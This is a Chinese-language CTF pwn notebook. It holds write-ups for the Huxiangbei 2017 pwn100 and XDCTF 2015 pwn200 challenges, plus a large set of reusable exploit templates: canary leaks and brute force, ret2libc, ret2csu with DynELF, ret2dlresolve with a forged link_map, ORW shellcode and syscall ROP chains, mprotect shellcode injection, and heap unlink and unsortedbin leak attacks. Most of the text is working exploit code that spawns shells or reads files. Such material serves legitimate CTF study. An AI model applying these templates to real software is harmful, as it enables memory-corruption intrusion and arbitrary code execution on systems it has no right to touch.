Result is:m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�ۻ��4
*** stack smashing detected ***: terminated

May be I can know if you give me some data[Y/N]

3.子进程报错:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Something is wrong


May be I can know if you give me some data[Y/N]

总结归纳一下:

接收字符串中有“Finish”:当前字符串正确

接收字符串中有“wrong”:程序长度不对

不管canary是否正确,只要长度不对,程序就会输出一样的东西,这一点完美卡死了canary爆破,后来发现canary可以用“覆盖低字节的方式”打印出来(”\n”覆盖”\x00”,这里是printf,所以不覆盖也可以)

​ // 原本想用新学的canary爆破练练手,没想到被出题人制裁了

这采用常规接收数据的方式:(直接计算)

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:\n") #这里必须加"\n"
payload=b'a'*int(258*4/3)
p.sendine(payload)
p.recvline() #接收了'\n'('\n'用printf打印出来的时候占一整排,用recvline接收正好)
canary =p.recv()[268:271] #len('Result is:')+258,接收3字节(没有"\x00")
canary="\x00"+canary
print("canary >> " +canary)

还有一种更骚的操作:

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:") #这里可以不加"\n"
payload= base64.b64encode('A'*258)
p.sendline(payload)
print(p.recv()) #输出接收到的数据
recv= p.recv()
canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9]
print("canary >> " +canary) #rfind()返回字符串最后一次出现的位置

我目前还不能理解这种收集数据的方式,但是它看起来还挺实用的,以后再研究

本题是给了libc库的,所以这么打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import * 
import binascii
import base64
p=process('./pwns')
libc= ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./pwns')
context(arch='i386',os='linux')

setbuf_got= elf.got['setbuf']
puts_plt = elf.plt['puts']

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:\n") #注意:这里要多收集一个"\n"
payload=b'a'*int(258*4/3)
p.sendline(payload)
p.recvline()
canary =p.recv()[268:271]
canary="\x00"+canary
print("canary >> " +canary)

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(puts_plt)+'A'*4+p32(setbuf_got))
#程序用base64对输入值进行了加密,所以这里需要进行解密
p.sendline(payload)
print p.recv()
recv= p.recv()
print recv
setbuf_addr = u32(recv[recv.rfind('AAAAAA')+7:recv.rfind('AAAAAA')+11])
print("setbuf_addr >> "+str(setbuf_addr))

system_offset=libc.symbols["system"]
setbuf_offset=libc.symbols["setbuf"]
system_addr=setbuf_addr+system_offset-setbuf_offset

binsh_offset=0x192352
#strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" (直接输出16进制)
binsh_addr = setbuf_addr+binsh_offset-setbuf_offset

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(system_addr)+'A'*4+p32(binsh_addr))
p.sendline(payload)

p.interactive()

网上还有一个更nb的,自己找libc版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048B09'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)

local_MAGIC = 0x0003AC69

io = process('/home/h11p/hackme/huxiangbei/pwns')

payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))

payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351] #直接开gdb看出来的
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)

MAGIC_addr=local_MAGIC+base_libc #这个MAGIC是one_gadget
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))

io.interactive()
io.close()

我和他的版本不同,我打不通也看不懂,以后再学

地址:2017湖湘杯pwn100的wp - JavaShuo

事情的起因是我遇到了一道做过的题目,它的代码完全没有改变,只是程序变成了64位

以前我用DynELF直接打通了32位,现在来看64位发现少了一个gadget,于是我脑袋抽了,用“ret2dlresolve”搞了一上午

后来想到了利用“ret2csu”来控制DynELF中的“write”函数

发现这种组合的通用性还挺高,只要程序溢出至少“136字节”就可以打

于是想记录一下,让今后的我少走点弯路


2015-xdctf-pwn200

1641183143407

一次输入

1641183182063

1641183191422

64位,dynamically,开了NX

1641183209046

1641183233342

没有system,没有“/bin/sh”

函数write可以输出的值就是字符串的长度“23字节”

vuln中有read,可以输入“256字节”

入侵思路

1641183449006

程序溢出了“144字节”,有write函数,可以有多种方法打通

DynELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p=process('./main_partial_relro_64')
elf=ELF('./main_partial_relro_64')
#context(log_level='debug',arch='amd64')
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=0x40066E
fun_addr=0x400637
bss_addr=0x601050+0x200

csu_front_addr=0x000000000400780
csu_end_addr=0x00000000040079A
print("write_got >> "+hex(write_got))

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a'*0x70 + b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx) + p64(rbp)+p64(r12) +p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

def leak(addr):
p.recvuntil("Welcome to XDCTF2015~!\n")
csu(0, 1, write_got, 1, addr, 8, main_addr)
data=p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

d=DynELF(leak,elf=elf)

execve_addr=d.lookup('execve','libc')
print("execve_addr: "+hex(execve_addr))

payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
p.send(payload)

csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)

p.interactive()

注意:(每一条都是血的教训)

因为DynELF模块在执行的过程中会输出一下字符串,所以“p.recvuntil”必须有

不同程序的csu可能不同,有时需要修改模板

另外我也尝试过用“system”但是打不通(可能是环境问题)

1
csu(0, 1, write_got, 1, addr, 8, main_addr)

用csu包装的函数视乎只认识GOT表,用其他的就报错

1
2
3
4
5
6
payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
#read(0, bss_addr, len(payload))
p.send(payload)
csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)
#execve('/bin/sh', 0, 0)

必须利用“read”把泄露出来的“execve”写在某个地址上,只有这样才可以调用“execve”

​ //我也尝试过用其他姿势来调用“execve”,但是都报错了


ret2dlresolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./main_partial_relro_64')
elf = ELF('./main_partial_relro_64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') #程序使用这个库文件
read_plt = elf.plt['read']
write_got = elf.got['write']
vuln_addr = elf.sym['vuln']

bss = 0x601050
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['write']
#目标函数和已知函数的偏移(把‘write’重定位成‘system’)

pop_rdi = 0x4007a3
pop_rsi = 0x4007a1
plt_load = 0x400506 #plt[1](dl_runtime_resolve)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
#offset为负数,可以用‘(2 ** 64 - 1)’来控制范围
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , pop_rsi , 0 ,0 , pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 )

"""
read_plt触发时输入‘fake_link_map’,plt_load就是dl_runtime_resolve,控制程序手段执行dl_runtime_resolve,此时‘bss_stage’被当做第一个参数,‘0’被当做第二个参数
"""

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)

r.send(fake_link_map) #把write重定位为system

r.interactive()

可以来看一下fake_Linkmap_payload的栈帧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000| fake_linkmap_addr+0x00  --> offset //DT_STRTAB(随便设置的)
0008| fake_linkmap_addr+0x08 --> 0 //DT_JMPREL
0010| fake_linkmap_addr+0x10 --> fake_linkmap_addr + 0x18
0018| fake_linkmap_addr+0x18 --> fake_linkmap_addr + 0x30 - offset
0020| fake_linkmap_addr+0x20 --> 0x7
0028| fake_linkmap_addr+0x28 --> 0
0030| fake_linkmap_addr+0x30 --> 0
0038| fake_linkmap_addr+0x38 --> 0 //DT_SYMTAB
0040| fake_linkmap_addr+0x40 --> known_func_ptr - 0x8
0048| fake_linkmap_addr+0x48 --> b'/bin/sh\x00'
....................................
0068| fake_linkmap_addr+0x68 --> fake_linkmap_addr
//对应的值是DT_STRTAB的地址(fake_linkmap_addr)
0070| fake_linkmap_addr+0x70 --> fake_linkmap_addr + 0x38
//对应的值是DT_SYMTAB的地址(fake_linkmap_addr + 0x38)
....................................
00f8| fake_linkmap_addr+0xf8 --> fake_linkmap_addr + 0x8
//对应的值是DT_JMPREL的地址(fake_linkmap_addr + 0x8)

dl_runtime_resolve被手动调用时,会读取“bss_stage”上的数据为“link_map”然后获取“JMPREL”,“SYMTAB”,“DT_STRTAB”,问题的关键就在于把它们三个的 “索引” 都弄成“0”,才能进行伪装

这种伪装方式不需要“JMPREL”,“SYMTAB”,“DT_STRTAB”的地址,只要一个已知函数的GOT表地址,和libc版本就可以了


注意:

1641234781843

重定位入口的符号类型(一般为“0x7”)在“JMPREL”中看

各种模板

pwn题中有许多目标模板,灵活利用可以节约大量时间

我打算把我遇到的所有模板都挂在这里,方便以后查找


CSU-万能pop模板

当程序的常规gadgets不能满足需求时(通常是缺少“pop_rdx”),就需要万能pop

如果用csu进行寄存器赋值,需要两个重要的ROPgadgets:

csu_front_addr:

csu_end_addr:

这两个gadgets相互配合就可以执行任何已知函数

不同的程序csu可能不同(寄存器顺序不同),一定要确认并修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

​ // fun_got也可以是指向函数首地址的指针

例子:

1
2
3
4
csu(0, 1, write_got, 8, bss_addr, 1, main_addr)
#执行write(1,bss_addr,8)后,执行main_addr
csu(0, 1, read_got, 8, bss_addr, 0, main_addr)
#执行read(0,bss_addr,8)后,执行main_addr

​ //但是万能pop需要至少“136字节”(0x88)的溢出

DynELF-基于puts的模板

puts遇到“\x00”会中断,并且会在字符串结尾自动加上’\n’,非常不适合leak函数

所以想用puts来泄露地址,必须要对其进行处理:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(addr)
payload += p64(puts_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
count = 0
data = ''
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data = data[:8]
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

32位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ''
payload = p32(puts_plt) + p32(ret_address) + p32(address)
p.send(payload)
print p.recvuntil('xxxx')
up = ""
while True:
c = p.recv(numb=1, timeout=1)
count += 1
if up == '\n' and c == "":
buf = buf[:-1]
buf += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.success('%x -> %s'%(address,hex(u32(data))))
return data

数据接收那里很容易出问题,并且必须要有“ p.recvuntil(‘xxxx’) ”

因为程序在运行的过程中会输出一些字符串,可能会干扰数据接收的过程

DynELF-基于write的模板

write比puts友好太多了,这个leak函数也比较简单:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(addr)
payload += p64(pop_rdx_ret) + p64(8)
payload += p64(write_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
data = p.recv(8)
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

32位:

1
2
3
4
5
6
7
8
9
10
11
12
def leak(address):
payload = padding + fake_rbp
payload += p32(write_plt) + p32(ret_address)
payload += p32(1) + p32(address) + p32(4)
p.sendline(payload)
p.recvuntil('xxxx')
data = p.recv(4)
log.success('%x -> %s'%(address,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

配合上面的万能pop,还可以形成更骚的操作:

1
2
3
4
5
6
7
def leak(addr): 
csu(0, 1, write_got, 8, addr, 1, main_addr)
p.recvuntil('xxxx')
data = p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data
#当然,配合puts也是可以的(puts和write就只有接收部分不同)

注意:有些程序自带循环,可以根据具体情况进行修改

ret2dlresolve-64位

如果题目中给出了libc版本,就可以用这个方法(泄露出libc版本后也行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

#fake_linkmap_addr:可以控制的地址
#known_func_ptr:function_got(已知函数的GOT表地址)
#offset:system_got - function_got
1
2
3
4
5
6
7
8
9
10
l_addr =  libc.sym['system'] -libc.sym['function']  
plt_load = addr(plt[1]) # dl_runtime_resolve

fake_link_map = fake_Linkmap_payload(bss_stage, function_got ,l_addr)
payload = flat( padding, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, pop_rsi, 0, 0, pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0)
# “bss_stage+0x48”为'/bin/sh\x00'

p.recvuntil('xxxx')
p.sendline(payload)
p.send(fake_link_map)

程序先利用read在“bss_stage”中写入了“fake_link_map”

在手动调用dl_runtime_resolve(plt_load),把“bss_stage”和“0”作为参数

执行完成之后,目标函数就会被重定位为“ system(“/bin/sh”) ”

理论上来讲,只要已知了libc版本就可以用这个来打

canary爆破

1
2
3
4
5
6
7
8
9
10
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
cn.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = cn.recvuntil('xxxx')
if 'xxxx' in a: #一次性不覆盖全部的canary,而是覆盖1字节
canary += chr(i)
break

canary='\x00'+canary
print(canary)

这两个’xxxx’写什么是关键,要对比“canary通过”和“canary不通过”程序输出的字符串来填入

ORW(ROP链+shellcode)

ORW原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <gmp.h>
#include <stdio.h>

int main(void)
{
void* bss;
int* fd,mm;
fd=open("./flag.txt",0);
mm=open("./flag.txt",0);
bss=malloc(0x90);
read(3,bss,0x30);
write(1,bss,0x30);
printf("fd >>%d\n",fd);
printf("mm >>%d\n",mm);
return 0;
}

注意这里的“read(3,bss,0x30)”(如果前面已经调用了“open”,可以换成“read(4,bss,0x30)”)

1
2
3
flag{ywhkkx}
fd >>3
mm >>4

Shellcode-32

1
2
3
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

Shellcode-64

1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

​ // 不管是64位还是32位:“esp”为“./flag”所在地址,根据具体情况进行填写

ROP链-64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
payload = padding + fake_rbp
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(3,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
flag='./flag'
p.send(flag)

当不知道程序名称时,用“getdents64”进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
payload = padding + fake_rbp
# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(2)
payload += p64(elf.sym['read'])
# open(".")[3]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# getdents64(3, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(217)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)[4]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(4,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(4)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
p.send('.\x00') # read(0, bss_addr, 2) >> open(".")
time.sleep(1)
p.recvuntil('xxxx') # read(0, bss_addr, 0x30) >> open('xxxx'+flag_s,0)
flag_s=p.recv(20)
flag='xxxx'+flag_s
p.send(flag)
  • 先用“open(“.”)”打开当前目录
  • 使用“getdents64(3, bss_addr + 0x200, 0x600)”打印目录到“bss_addr + 0x200”
  • 使用“write(1, bss_addr + 0x200, 0x600)”打印目录
  • 选择性接受文件名称(至于怎么接收,就要看程序了)

Shellcode模板

ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

# 1. read shellcode to bss_addr
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
#shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss_addr)
payload+=p64(pop_rdx_ret)+p64(0x400)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

# 2. read bss_addr to got[0]
shellcode_got= got[0]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(shellcode_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(bss_addr))

# 3. read mprotect_libc to got[1]
mprot_got= got[1]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(mprot_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(mprotect_libc))

csu(0, 1, mprot_got, 7, 0x1000, 0x600000, main_addr)
csu(0, 1, shellcode_got, 0, 0, 0, main_addr)

这种进攻方式的核心就在于:把目标地址写入空白的GOT表

Unlink攻击模板

基于chunk_list

通常就是这么个造型,根据具体需要进行修改(这种方式高libc版本用不了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
alloc(0xa0)	#chunk1
alloc(0xa0) #chunk2
alloc(0xa0) #chunk3

list_addr_chunk2=list_addr+0x10
payload=p64(0)+p64(0xa0)
payload+=p64(list_addr_chunk2-0x18)
payload+=p64(list_addr_chunk2-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

fill(2,0xb0,payload) #fake_chunk2
free(3)
#list_addr_chunk2:就是目标chunk(chunk2)的FD指针,通过list_addr比较好寻找
#注意:例题的"chunk[0]"没有写入东西

通常都是修改“chunk2”,释放“chunk3”,留一个“chunk1”进行初始化

1
2
3
4
5
6
7
8
pwndbg> x/10xg list_addr(buf[0])
0x602140: 0x0000000000000000 0x0000000000e0a020
0x602150: 0x0000000000602138 0x0000000000000000 #fake_chunk2
0x602160: 0x0000000000000000 0x0000000000000000
#演示程序的buf[0]没有chunk
#buf[1]为chunk1,用于初始化
#buf[2]为fake_chunk2,是攻击对象
#buf[3]为chunk3,已经被free

接下来修改“chunk2”就可以直接修改“list_addr”(“buf[0]”)了

1
2
3
4
5
payload=p64(0)
payload+=p64(elf.got['target1']) #fake_chunk0
payload+=p64(elf.got['target2']) #fake_chunk1
payload+=p64(elf.got['target3']) #fake_chunk2
fill(2,len(payload),payload)

​ // 程序会在“buf[-1]”(buf[2-3])开始写入数据

基于heap_addr(泄露“heap_addr”+泄露“libc_base”+后续利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# leak libc_base
add(0x40,'')#0
add(0x60,'')#1
add(0xf0,'')#2
add(0x10,'')#3
delete(2)
add(0xf0,'')#2

show(2)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
libc_base=leak_addr-0x3c4b00
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

# leak heap_addr
add(0x10,'')#4
delete(3)
delete(4)
add(0x10,'')#3
show(3)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
heap_addr=leak_addr-240
success('leak_addr >> '+hex(leak_addr))
success('heap_addr >> '+hex(heap_addr))

# unlink for overlapping
delete(0)
payload=p64(0)+p64(0xb1) # fake chunk->size
payload+=p64(heap_addr+0x18)+p64(heap_addr+0x20)+p64(heap_addr+0x10)
add(0x40,payload)#0
delete(1)
add(0x68,'\x00'*0x60+p64(0xb0))#1
delete(2) # fake chunk->size=0xb1+0x100

# after unlink
add(0xc0,'AAAA')#2(malloc form unsortedbin "0x40+0x10"+"0x60+0x10")
add(0x60,'BBBB')#3(avoid top chunk and adjust the size of unsortedbin)
delete(1) # lead chunk1 to fastbin
delete(2)
add(0xc0,flat('\x00'*0x38,0x71,fake_target))
# make fake_target to unsortedbin and then to fastbin(0x70)
add(0x60,payload) # malloc the fake_target and change it
  • 先构造泄露 heap_addr 的结构,再构造泄露 libc_base 的结构
  • 要求 unlink 跳过中间那个chunk,基于这点构造“fake chunk->size”和“last chunk->fake presize”
  • 释放chunk1,使chunk1进入fastbin
  • 申请“0x60”字节的目的有二:防止 top chunk 合并,调整 unsortedbin 的大小(使其可以进入fastbin)
  • 申请“0xC0”字节释放后,可以控制已经在fastbin中的chunk1,从而申请到目标地址

Unsortedbin Leak模板

1
2
3
4
5
6
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3) # 注意:这里要先释放后申请的chunk,不然程序不会打印(不知道原因)
delete(1)
  • chunk1:leak heap_addr
  • chunk3:leak main_arena

格式化字符串漏洞模板

WAA模板

通常需要在两片内存空间中,最后指向的地址相同(“偏移N”,“偏移M”)

